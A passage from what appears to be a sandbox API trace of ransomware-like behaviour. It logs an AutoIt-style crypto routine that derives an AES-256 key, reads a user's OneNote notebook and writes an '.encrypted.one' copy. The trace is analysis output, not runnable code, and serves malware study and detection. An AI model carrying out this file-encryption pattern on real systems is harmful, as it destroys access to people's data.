hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.567] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.567] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.567] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.567] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.567] CryptCreateHash (in: hProv=0xe8f4199a20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.568] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.568] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b390, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.568] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.568] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.568] CryptDeriveKey (in: hProv=0xe8f4199a20, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062790) returned 1 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.568] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.569] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.569] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.569] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.569] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.570] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.572] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.572] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.572] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.572] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\5jghkoaofdp\\documents\\onenote notebooks\\my notebook\\quick notes.one"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.572] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.572] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.572] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.573] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\onenote notebooks\\my notebook")) returned 0x10 [0025.573] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.encrypted.one" (normalized: "c:\\users\\5jghkoaofdp\\documents\\onenote notebooks\\my notebook\\quick notes.encrypted.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.575] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.575] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.577] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.578] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.579] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.581] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.581] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x8628, lpOverlapped=0x0) returned 1 [0025.582] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.591] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.593] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.593] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.593] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.596] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.597] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.597] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.597] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.597] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.597] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.597] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.597] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.597] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.598] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.598] CryptGetKeyParam (in: hKey=0xe8f4062790, dwParam=0x7, pbData=0xe8f4064a10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.598] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.598] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.599] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.599] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.599] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.599] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.599] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.599] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.599] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.599] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.603] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.603] CryptEncrypt (in: hKey=0xe8f4062790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x58628, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x58630) returned 1 [0025.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.603] CharLowerBuffW (in: lpsz="byte[362033]", cchLength=0xc | out: lpsz="byte[362033]") returned 0xc [0025.606] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.613] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.613] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.623] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.623] CryptEncrypt (in: hKey=0xe8f4062790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4251610*, pdwDataLen=0xe8f3dfdf68*=0x58628, dwBufLen=0x58630 | out: pbData=0xe8f4251610*, pdwDataLen=0xe8f3dfdf68*=0x58630) returned 1 [0025.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.632] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.632] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.632] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.632] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.651] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.651] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.651] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.651] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, 